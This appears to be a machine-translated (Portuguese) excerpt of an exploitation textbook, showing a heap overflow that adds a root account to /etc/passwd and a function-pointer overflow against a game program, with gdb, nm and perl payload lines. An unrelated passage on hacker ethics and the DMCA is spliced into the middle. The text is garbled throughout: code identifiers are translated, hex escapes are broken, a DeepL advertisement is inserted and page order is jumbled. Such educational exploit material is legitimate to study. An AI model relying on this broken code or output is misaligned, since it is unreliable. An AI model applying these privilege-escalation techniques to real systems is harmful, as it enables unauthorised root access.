<p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd'</p><p>[DEBUG] datafile @ 0x804a070: '/etc/passwd' [DEBUG] datafile</p><p>@ 0x804a070: '/etc/passwd</p><p>O descritor de arquivo</p><p>[DEBUG] é 3 Nota foi salva.</p><p>*** glibc detectado *** ./notetaker: livre(): inválido próximo tamanho (normal): 0x0804a008 ***</p><p>======= Backtrace: =========</p><p>/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]</p><p>/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]</p><p>./notetaker[0x8048916]</p><p>/lib/tls/i686/cmov/libc.so.6( libc_start_main+0xdc)[0xb7eafebc]</p><p>./notetaker[0x8048511]</p><p>======= Mapa de memória: ========</p><p>08048000-08049000 r-xp 00000000 00:0f 44384 /cow/home/reader/bookrc/notetaker</p><p>08049000-0804a000 rw-p 00000000 00:0f 44384 /cow/home/reader/bookrc/notetaker</p><p>0804a000-0806b000 rw-p 0804a000 00:00 0 [pilha]</p><p>b7d00000-b7d21000 rw-p b7d00000 00:00 0</p><p>b7d21000-b7e00000 ---p b7d21000 00:00 0</p><p>b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1</p><p>b7e8e8e000-</p><p>b7e8f000</p><p>rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1</p><p>b7e99000-b7e9a000 rw-p b7e99000 00:00 0</p><p>b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so</p><p>b7fd5000-b7fd6000 r--p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so</p><p>b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so</p><p>b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0</p><p>b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0</p><p>b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so</p><p>b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so</p><p>bffeb000-c0000000 rw-p bffeb000 00:00 0 [empilhar]</p><p>ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]</p><p>Abortado</p><p>reader@hacking:~/bookrc $ tail /etc/passwd</p><p>avahi:x:105:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false</p><p>cupsys:x:106:113::/home/cupsys:/bin/false</p><p>haldaemon:x:107:114:Camada de abstração de hardware,,,:/home/haldaemon:/bin/false</p><p>hplip:x:108:7:usuário do sistema HPLIP,,,:/var/run/hplip:/bin/false</p><p>gdm:x:109:118:Gnome Display Manager:/var/lib/gdm:/bin/false</p><p>matrix:x:500:500:User Acct:/home/matrix:/bin/bash</p><p>jose:x:501:501:Jose Ronnick:/home/jose:/bin/bash</p><p>reader:x:999:999:Hacker,,,:/home/leitor:/bin/bash</p><p>?</p><p>myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAA:/</p><p>raiz:/tmp/etc/passwd</p><p>reader@hacking:~/booksrc $ su myroot Senha:</p><p>root@hacking:/home/reader/booksrc#</p><p>whoami root</p><p>root@hacking:/home/reader/booksrc#</p><p>178 0x</p><p>3 0 0</p><p>0x342 Apontadores de funções de transbordo</p><p>Se você já jogou o suficiente com o programa game_of_chance.c, você</p><p>perceberá que, semelhante a um cassino, a maioria dos jogos são</p><p>estatisticamente ponderados em favor da casa. Isto torna difícil ganhar</p><p>créditos, apesar da sorte que você possa ter. Talvez haja uma maneira de</p><p>equilibrar um pouco as chances. Este programa usa um indicador de função</p><p>para lembrar o último jogo jogado. Este ponteiro é armazenado na estrutura</p><p>do usuário, que é declarada como uma variável global. Isto significa que toda</p><p>a memória para a estrutura do usuário é alocada no segmento bss.</p><p>De game_of_chance.c</p><p>// Estruturação personalizada do usuário para armazenar</p><p>informações sobre o usuário estruturação do usuário {</p><p>int uid; int</p><p>créditos;</p><p>no highscore;</p><p>nome do</p><p>char[100];</p><p>int (*current_game) ();</p><p>};</p><p>...</p><p>// Variáveis globais</p><p>estruturador de usuários; // Estruturação do jogador</p><p>O buffer de nomes na estrutura do usuário é um local provável para um</p><p>transbordamento.</p><p>Este buffer é definido pela função input_name(), mostrada abaixo:</p><p>// Esta função é utilizada para introduzir o nome do jogador, uma vez que</p><p>// scanf("%s", & o que quer que seja) parará a entrada no</p><p>primeiro espaço. nome_nome_de_entrada vazio() {</p><p>char *name_ptr, input_char='\n';</p><p>while(input_char == '\n') // Descarregar</p><p>qualquer sobra de scanf("%c", &input_char); //</p><p>chars de nova linha.</p><p>nome_ptr = (char *) &(nome.jogador); // nome_ptr = endereço do nome do</p><p>jogador while(input_char != '\n') { // Loop até a nova linha.</p><p>*nome_ptr = input_char; // Coloque o char de entrada no campo</p><p>do nome. scanf("%c", &input_char); // Obtenha o próximo char.</p><p>nome_ptr+++; // Incrementar o ponteiro do nome.</p><p>}</p><p>*nome_ptr = 0; // Terminar a corda.</p><p>}</p><p>Esta função só pára a entrada em um novo caractere de linha. Não há</p><p>nada que a limite ao comprimento do buffer do nome de destino, o que</p><p>significa que é possível um transbordo. A fim de aproveitar o transbordo,</p><p>precisamos fazer o programa chamar o ponteiro de função depois que ele for</p><p>Exploração 179</p><p>sobregravado. Isto acontece na função play_the_game(), que é chamada</p><p>quando qualquer jogo é selecionado a partir do menu. O seguinte trecho de</p><p>código é parte do código de seleção do menu, usado para escolher e jogar</p><p>um jogo.</p><p>180 0x</p><p>3 0 0</p><p>if((escolha < 1) ||| (escolha > 7))</p><p>printf("\n[!!] O número %d é uma seleção inválida.\n", escolha); caso</p><p>contrário, se (escolha < 4) { // Caso contrário, a escolha era um jogo de</p><p>algum tipo.</p><p>if(escolha != último_jogo) { // Se a função ptr não estiver</p><p>definida, if(escolha == 1) // então aponte-o para o jogo</p><p>selecionado</p><p>player.current_game = pick_a_number;</p><p>caso contrário se(escolha == 2)</p><p>player.current_game = dealer_no_match;</p><p>else</p><p>player.current_game = find_the_ace;</p><p>last_game = escolha; // e definir último_jogo.</p><p>}</p><p>play_the_game(); // Jogue o jogo.</p><p>}</p><p>Se o último_jogo não for o mesmo que a escolha atual, o ponteiro de</p><p>função do_jogo atual é mudado para o jogo apropriado. Isto significa que para</p><p>que o programa chame o ponteiro de função sem substituí-lo, um jogo deve</p><p>ser jogado primeiro para definir a variável last_game.</p><p>reader@hacking:~/booksrc $ ./game_of_chance</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 70 créditos] - > 1</p><p>[DEBUG] ponteiro do jogo_actual @ 0x08048fde</p><p>####### Escolha um número ######</p><p>Este jogo custa 10 créditos para jogar. Basta escolher um número</p><p>entre 1 e 20, e se você escolher o número vencedor, você</p><p>ganhará o jackpot de 100 créditos!</p><p>10 créditos foram deduzidos de sua conta. Escolha um</p><p>número entre 1 e 20: 5</p><p>O número vencedor é 17</p><p>Desculpe, você não ganhou.</p><p>Você agora tem 60 créditos</p><p>Você gostaria de jogar novamente? (y/n) n</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>Exploração 181</p><p>6 - Redefinir sua conta em 100 créditos</p><p>158 0x</p><p>3 0 0</p><p>7 - Desistir</p><p>[Nome: Jon Erickson]</p><p>[Você tem 60 créditos] -</p><p>></p><p>[1]+ Parou ./game_of_chance</p><p>reader@hacking:~/booksrc $</p><p>Você pode suspender temporariamente o processo atual pressionando</p><p>CTRL-Z. Neste ponto, a variável last_game foi definida como 1, portanto, da</p><p>próxima vez que 1 for selecionado, o ponteiro da função será simplesmente</p><p>chamado sem ser alterado. De volta à shell, descobrimos um buffer de</p><p>transbordo apropriado, que pode ser copiado e colado como um nome mais</p><p>tarde. Recompilar a fonte com símbolos de depuração e usar o GDB para</p><p>executar o programa com um ponto de parada no main() nos permite explorar</p><p>a memória. Como mostra a saída abaixo, o buffer de nomes é de 100 bytes do</p><p>ponteiro do_jogo atual dentro do usuário</p><p>estrutura.</p><p>reader@hacking:~/booksrc $ gcc -g game_of_chance.c</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>quebra principal</p><p>Ponto de parada 1 em 0x8048813: file game_of_chance.c, linha</p><p>41. (gdb) rodar</p><p>Programa inicial: /home/leitor/ livrorc/a.out</p><p>Ponto de parada 1, principal () no game_of_chance.c:41</p><p>41 srand(time(0)); // Semeia o aleatorizador com a hora atual. (gdb)</p><p>p player</p><p>$1 = {uid = 0, créditos = 0, pontuação máxima = 0, nome = '\0' <repeats 99 vezes>,</p><p>jogo_corrente = 0}</p><p>(gdb) x/x &player.name</p><p>0x804b66c <player+12>: 0x00000000</p><p>(gdb) x/x &player.current_game</p><p>0x804b6d0 <player+112>:</p><p>0x000000000000 (gdb) p 0x804b6d0</p>
<p>-</p><p>0x804b66c</p><p>$2 = 100</p><p>(gdb) desistir</p><p>O programa está em execução. Sair mesmo assim? (y ou n) y</p><p>reader@hacking:~/booksrc $</p><p>Usando estas informações, podemos gerar um buffer para transbordar a</p><p>variável do nome. Isto pode ser copiado e colado no programa interativo</p><p>Game of Chance quando ele for retomado. Para retornar ao processo</p><p>suspenso, basta digitar fg, que é a abreviação de "foreground".</p><p>reader@hacking:~/booksrc $ perl -e 'print "A "x100 . "BBBB" . "\n"'</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>Assine o DeepL Pro para traduzir arquivos maiores.</p><p>Mais informações em www.DeepL.com/pro.</p><p>https://www.deepl.com/pro?cta=edit-document&pdf=1</p><p>Exploração 159</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB</p><p>reader@hacking:~/booksrc $ fg</p><p>./game_de_chance</p><p>5</p><p>Mudar o nome do usuário</p><p>160 0x</p><p>3 0 0</p><p>Digite seu novo nome:</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB</p><p>Seu nome foi mudado.</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]</p><p>[Você tem 60 créditos] - > 1</p><p>[DEBUG] indicador de jogo_actual @ 0x42424242</p><p>Leitor de falhas de</p><p>segmentação@hacking:~/booksrc $</p><p>Selecione a opção 5 do menu para mudar o nome de usuário, e cole no</p><p>buffer de transbordo. Isto sobregravará o ponteiro de função com</p><p>0x42424242. Quando a opção de menu 1 for selecionada novamente, o</p><p>programa travará quando tentar chamar o ponteiro de função. Isto é a prova</p><p>de que a execução pode ser controlada; agora tudo o que é necessário é um</p><p>endereço válido a ser inserido no lugar do BBBB.</p><p>O comando nm lista símbolos em arquivos de objetos. Isto pode ser usado para</p><p>encontrar endereços de várias funções em um programa.</p><p>reader@hacking:~/booksrc $nm game_of_chance</p><p>0804b508 d _DYNAMIC</p><p>0804b5d4 d _GLOBAL_OFFSET_TABLE_</p><p>080496c4 R _IO_stdin_utilizado</p><p>w _Jv_RegisterClasses</p><p>0804b4f8 d C T O R _ E N D</p><p>0804b4f4 d C T O R _ L I S T</p><p>0804b500 d D T O R _ E N D</p><p>0804b4fc d D T O R _ L I S T</p><p>0804a4f0 r E N D E R E Ç O _ Q U A D R O</p><p>0804b504 d J C R _ E N D</p><p>0804b504 d J C R _ L I S T</p><p>0804b630 A bss_start</p><p>0804b624 D data_start</p><p>08049670 t do_global_ctors_aux</p><p>08048610 t do_global_dtors_aux</p><p>0804b628 D dso_handle</p><p>w gmon_start 08049669 T</p><p>i686.get_pc_thunk.bx 0804b4f4 d</p><p>init_array_end 0804b4f4 d</p><p>init_array_start 080495f0 T</p><p>libc_csu_fini 08049600 T</p><p>libc_csu_init</p><p>U libc_start_main@@GLIBC_2.0</p><p>Exploração 161</p><p>0804b630 A _edata</p><p>0804b6d4 A _end</p><p>080496a0 T _fini</p><p>080496c0 R _fp_hw</p><p>08048484 T _init</p><p>080485c0 T _start</p><p>080485e4 t call_gmon_start</p><p>U</p><p>close@@GLIBC_2.0 0804b640 b</p><p>complete.1 0804b624 W</p><p>data_start 080490d1 T</p><p>revendedor_no_match 080486fc</p><p>T dump</p><p>080486d1 T ec_malloc</p><p>U exit@@GLIBC_2.0</p><p>08048684 T fatal</p><p>080492bf T find_the_ace</p><p>08048650 t frame_dummy</p><p>080489cc T get_player_data</p><p>U getuid@@GLIBC_2.0</p><p>08048d97 T input_name</p><p>08048d70 T jackpot</p><p>08048803 T principal</p><p>U malloc@@GLIBC_2.0</p><p>U</p><p>open@@@GLIBC_2.0</p><p>0804b62c d p.0</p><p>U perror@@GLIBC_2.0</p><p>08048fde T pick_a_number</p><p>08048f23 T play_the_game</p><p>0804b660 B player</p><p>08048df8 T print_cards</p><p>U printf@@GLIBC_2.0</p><p>U</p><p>rand@@@GLIBC_2.0</p><p>U read@@GLIBC_2.0</p><p>08048aaf T register_new_player U</p><p>scanf@@GLIBC_2.0</p><p>08048c72 T show_highscore</p><p>U</p><p>srand@@GLIBC_2.</p><p>0 U</p><p>strcpy@@@GLIBC_2.0</p><p>U strncat@@GLIBC_2.0</p><p>08048e91 T take_wager</p><p>U time@@GLIBC_2.0</p><p>08048b72 T update_player_data</p><p>U write@@GLIBC_2.0</p><p>reader@hacking:~/booksrc $</p><p>A função jackpot() é um alvo maravilhoso para esta exploração. Mesmo</p><p>que os jogos dêem chances terríveis, se o ponteiro da função atual_jogo for</p><p>cuidadosamente substituído pelo endereço da função jackpot(), você não terá</p><p>nem mesmo que jogar o jogo para ganhar créditos. Em vez disso, a função</p><p>jackpot() será apenas chamada diretamente, distribuindo a recompensa de</p><p>162 0x</p><p>3 0 0</p><p>100 créditos e dando gorjetas na direção do jogador.</p><p>Este programa tira sua contribuição da entrada padrão. As seleções do</p><p>menu podem ser roteirizadas em um único buffer que é canalizado para o</p><p>padrão do programa.</p><p>Exploração 163</p><p>entrada. Estas seleções serão feitas como se fossem datilografadas. O</p><p>seguinte exemplo escolherá o item 1 do menu, tentará adivinhar o número</p><p>7, selecionará n quando solicitado a jogar novamente, e finalmente</p><p>selecionará o item 7 do menu para sair.</p><p>reader@hacking:~/booksrc $ perl -e 'print "1\n7nn7\n"' | ./game_of_chance</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 60 créditos] -</p><p>></p><p>[DEBUG] ponteiro do jogo_actual @ 0x08048fde</p><p>####### Escolha um número ######</p><p>Este jogo custa 10 créditos para jogar. Basta escolher um</p><p>número entre 1 e 20, e se você escolher o número vencedor,</p><p>você ganhará o jackpot de 100 créditos!</p><p>10 créditos foram deduzidos de sua conta.</p><p>Escolha um número entre 1 e 20: O número vencedor é 20</p><p>Desculpe, você não ganhou.</p><p>Você agora tem 50 créditos</p><p>Você gostaria de jogar novamente? (y/n) -=[ Menu do Jogo de</p><p>Oportunidades ]=- 1 - Jogue o jogo Escolha um número</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 50 créditos] -</p><p>> Obrigado por jogar!</p><p>Tchau.</p><p>reader@hacking:~/booksrc $</p><p>Esta mesma técnica pode ser usada para escrever tudo o que é</p><p>necessário para a exploração. A linha seguinte jogará o jogo Pick a Number</p><p>uma vez, depois mude o nome de usuário para 100 A's seguido do endereço</p><p>da função jackpot(). Isto irá transbordar o ponteiro da função atual_jogo,</p><p>então quando o jogo Pick a Number for jogado novamente, a função</p><p>jackpot() será chamada diretamente.</p><p>reader@hacking:~/booksrc $ perl -e 'print "1\n5nn5\n" . "A "x100 . "x70 x8d x8d</p><p>x04x08n" . "1\n5nnn" . "7\n"'</p><p>1</p><p>164 0x</p><p>3 0 0</p><p>5</p><p>Exploração 165</p><p>n</p><p>5</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAp?</p><p>1</p><p>n</p><p>7</p><p>reader@hacking:~/booksrc $ perl -e 'print "1\n5nn5\n" . "A "x100 . "x70 x8d x8d</p><p>x04x08n" . "1\n5nnn" . "7\n" | ./game_of_chance</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 50 créditos] -</p><p>></p><p>[DEBUG] ponteiro do jogo_actual @ 0x08048fde</p><p>####### Escolha um número ######</p><p>Este jogo custa 10 créditos para jogar. Basta escolher um</p><p>número entre 1 e 20, e se você escolher o número vencedor,</p><p>você ganhará o jackpot de 100 créditos!</p><p>10 créditos foram deduzidos de sua conta.</p><p>Escolha um número entre 1 e 20: O número vencedor é 15</p><p>Desculpe, você não ganhou.</p><p>Você agora tem 40 créditos</p><p>Você gostaria de jogar novamente? (y/n) -=[ Menu do Jogo de</p><p>Oportunidades ]=- 1 - Jogue o jogo Escolha um número</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 40 créditos] -></p><p>Alterar nome do usuário</p><p>Digite seu novo nome: Seu nome foi mudado.</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]</p><p>[Você tem 40 créditos] -></p><p>166 0x</p><p>3 0 0</p><p>[DEBUG] ponteiro do jogo_actual</p>
<p>que apenas resolviam problemas, os</p><p>primeiros hackers estavam obcecados em escrever programas que resolviam</p><p>bem os problemas. Um novo programa que pudesse alcançar o mesmo</p><p>resultado que um programa existente, mas que usasse menos cartões</p><p>perfurados, era considerado melhor, apesar de ter feito a mesma coisa. A</p><p>principal diferença era como o programa alcançava seus resultados-elegância.</p><p>Ser capaz de reduzir o número de cartões perfurados necessários para</p><p>um programa mostrou um domínio artístico sobre o computador. Uma mesa</p><p>bem trabalhada pode segurar um vaso tão bem quanto uma lata de leite, mas</p><p>uma parece muito melhor do que a outra. Os primeiros hackers provaram</p><p>que os problemas técnicos podem ter solu- tões artísticos, e assim eles</p><p>transformaram a programação de uma mera tarefa de engenharia em uma</p><p>forma de arte.</p><p>Como muitas outras formas de arte, o hacking era muitas vezes mal</p><p>compreendido. Os poucos que o obtiveram formaram uma subcultura</p><p>informal que permaneceu intensamente focada na aprendizagem e no</p><p>domínio de sua arte. Eles acreditavam que a informação deveria ser livre e</p><p>qualquer coisa que se interpusesse no caminho dessa liberdade deveria ser</p><p>circum-aberta. Tais obstruções incluíam figuras de autoridade, a burocracia</p><p>das classes universitárias e a discriminação. Em um mar de estudantes de</p><p>graduação, este grupo não-oficial de hackers desafiou os objetivos</p><p>convencionais e, em vez disso, buscou o próprio conhecimento. Este impulso</p><p>para aprender e explorar continuamente transcendeu até mesmo os limites</p><p>convencionais traçados pela discriminação, evidente na aceitação pelo clube</p><p>ferroviário modelo do MIT de Peter Deutsch, de 12 anos, quando ele</p><p>demonstrou seu conhecimento do TX-0 e seu desejo de aprender. Idade,</p><p>raça, gênero, aparência, graus acadêmicos e status social não foram critérios</p><p>primários para julgar o valor do outro - não por causa de um desejo de</p><p>igualdade, mas por causa de um desejo de avançar a arte emergente do</p><p>hacking.</p><p>Os hackers originais encontraram esplendor e elegância nas ciências</p><p>convencionalmente secas da matemática e da eletrônica. Eles viam a</p><p>programação como uma forma de expressão artística e o computador como</p><p>um instrumento dessa arte. Seu desejo de dissecar e entender não tinha a</p><p>intençã</p><p>o de</p><p>desmist</p><p>ificar os</p><p>esforço</p><p>s</p><p>artístic</p><p>os; era</p><p>simples</p><p>mente</p><p>uma</p><p>forma</p><p>de</p><p>conseg</p><p>uir uma</p><p>maior</p><p>aprecia</p><p>ção dos</p><p>mesmo</p><p>s. Estes</p><p>valores</p><p>impulsi</p><p>onados</p><p>pelo</p><p>conheci</p><p>mento</p><p>seriam</p><p>eventu</p><p>alment</p><p>e</p><p>chamad</p><p>os de</p><p>Ética</p><p>Hacker:</p><p>a</p><p>aprecia</p><p>ção da</p><p>lógica</p><p>como</p><p>forma</p><p>de arte</p><p>e a</p><p>promoç</p><p>ão do</p><p>livre</p><p>fluxo</p><p>de</p><p>informa</p><p>ções,</p><p>supera</p><p>ndo as</p><p>fronteiras e restrições convencionais para o simples objetivo de</p><p>compreender melhor o mundo. Esta não é uma nova tendência cultural; os</p><p>pitagóricos da Grécia antiga tinham uma ética e subcultura semelhantes,</p><p>apesar de não possuírem computadores. Eles viram beleza na matemática e</p><p>descobriram muitos conceitos centrais na geometria. Essa sede por</p><p>conhecimento e seus produtos benéficos continuariam através da história,</p><p>dos pitagóricos a Ada Lovelace e Alan Turing aos hackers do clube ferroviário</p><p>modelo do MIT. Hackers modernos como Richard Stallman e Steve Wozniak</p><p>continuaram o legado de hacking, trazendo-nos sistemas operacionais</p><p>modernos, linguagens de programação, computadores pessoais e muitas</p><p>outras tecnologias que usamos todos os dias.</p><p>Como distinguir entre os bons hackers que nos trazem as maravilhas do</p><p>avanço tecnológico e os maus hackers que roubam nossos números de cartão</p><p>de crédito? O termo cracker foi cunhado para distinguir os hackers maus dos</p><p>bons. Foi dito aos jornalistas que os crackers deveriam ser os maus da fita,</p><p>enquanto os hackers eram os bons da fita. Os hackers permaneciam fiéis à</p><p>Ética Hacker, enquanto os crackers estavam apenas interessados em infringir</p><p>a lei e ganhar um dinheiro rápido. Os crackers eram considerados muito</p><p>menos talentosos do que os hackers de elite, pois simplesmente faziam uso</p><p>de ferramentas e scripts escritos por hackers sem entender como</p><p>funcionavam. Cracker era destinado a ser o rótulo de "pega-tudo" para</p><p>qualquer um que fizesse algo inescrupuloso com um software de pirataria de</p><p>computador, desfigurando websites, e o pior de tudo, não entendendo o que</p><p>eles estavam fazendo. Mas muito poucas pessoas usam este termo hoje em</p><p>dia.</p><p>A falta de popularidade do termo pode ser devida a sua confusa</p><p>etimologia - cracker originalmente descreveu aqueles que quebram os direitos</p><p>autorais do software e esquemas de proteção contra cópia de engenharia</p><p>reversa. Sua impopularidade atual pode simplesmente resultar de suas duas</p><p>novas definições ambíguas: um grupo de pessoas que se envolvem em</p><p>atividades ilegais com computadores ou pessoas que são hackers</p><p>relativamente pouco qualificados. Poucos jornalistas de tecnologia se sentem</p><p>obrigados a usar termos com os quais a maioria de seus leitores não está</p><p>familiarizada. Em contraste, a maioria das pessoas está ciente do mistério e</p><p>da habilidade associados ao termo hacker, portanto, para um jornalista, a</p><p>decisão de usar o termo hacker é fácil. Da mesma forma, o termo script kiddie</p><p>é às vezes usado para se referir a crackers, mas não tem o mesmo zing que o</p><p>hacker sombrio. Há quem ainda argumente que existe uma linha distinta</p><p>entre hackers e crackers, mas acredito que qualquer um que tenha o espírito</p><p>hacker é um hacker, apesar de quaisquer leis que ele ou ela possa quebrar.</p><p>As leis atuais que restringem a criptografia e a pesquisa criptográfica</p><p>esbatem ainda mais a linha entre hackers e crackers. Em 2001, o Professor</p><p>Edward Felten e sua equipe de pesquisa da Princeton University estavam</p><p>prestes a publicar um trabalho que discutia as fraquezas de vários esquemas de</p><p>marcação de água digital. Este trabalho respondeu a um desafio lançado pela</p><p>Secure Digital Music Initiative (SDMI) no SDMI Public Challenge, que</p><p>encorajou o público a tentar quebrar estes esquemas de marcação d'água.</p><p>Antes que Felten e sua equipe pudessem publicar o documento, porém, eles</p><p>foram ameaçados tanto pela Fundação SDMI quanto pela Associação da</p><p>Indústria Fonográfica da América (RIAA). A Lei Digital Millennium Copyright</p><p>Act (DCMA) de 1998 torna ilegal discutir ou fornecer tecnologia que possa ser</p><p>usada para contornar os controles da indústria de con- sumer. Esta mesma lei</p><p>foi usada contra Dmitry Sklyarov, um programador informático e hacker</p><p>russo. Ele tinha escrito um software para contornar</p><p>In t ro ducti on 3</p><p>criptografia excessivamente simplista no software Adobe e apresentou suas</p><p>descobertas em uma convenção de hackers nos Estados Unidos. O FBI</p><p>entrou e o prendeu, levando-o a uma longa batalha legal. Sob a lei, a</p><p>complexidade dos controles do consumidor da indústria não importa - seria</p><p>tecnicamente ilegal fazer engenharia reversa ou mesmo discutir o Pig Latin</p><p>se ele fosse usado como um controle con- sumer da indústria. Quem são</p><p>os hackers e quem são os crackers agora? Quando as leis parecem</p><p>interferir na liberdade de expressão, os bons que dizem o que pensam de</p><p>repente se tornam maus? Eu acredito que o espírito do hacker transcende as</p><p>leis governamentais, em vez de ser definido por elas.</p><p>As ciências da física nuclear e da bioquímica podem ser usadas para</p><p>matar, mas também nos proporcionam um avanço científico significativo e a</p><p>medicina moderna. Não há nada de bom ou de ruim no próprio</p><p>conhecimento; a moralidade está na aplicação do conhecimento. Mesmo se</p><p>quiséssemos, não poderíamos suprimir o conhecimento de como converter</p><p>matéria em energia ou deter o contínuo progresso tecnológico da sociedade.</p><p>Da mesma forma, o espírito hacker nunca pode ser detido, nem pode ser</p><p>facilmente categorizado ou dissecado. Os hackers estarão constantemente</p><p>pressionando os limites do conhecimento e do comportamento aceitável,</p><p>forçando-nos a explorar cada vez mais e mais.</p><p>Parte deste impulso resulta em uma co-evolução benéfica da segurança</p><p>através da competição entre hackers atacantes e hackers defensores.</p>
<p>@ 0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 140 créditos</p><p>Você gostaria de jogar novamente? (y/n) -=[ Menu do Jogo de</p><p>Oportunidades ]=- 1 - Jogue o jogo Escolha um número</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]</p><p>[Você tem 140 créditos] -></p><p>Obrigado por jogar! Tchau.</p><p>reader@hacking:~/booksrc $</p><p>Depois de confirmar que este método funciona, ele pode ser expandido</p><p>para ganhar qualquer número de créditos.</p><p>reader@hacking:~/booksrc $ perl -e 'print "1\n5nn5\n" . "A "x100 . "x70 x8d</p><p>x04x08n" . "1\n" . "y\n "x10 . "n5n5nJon Erickson n7n"' | ./ jogo_de_chance</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: 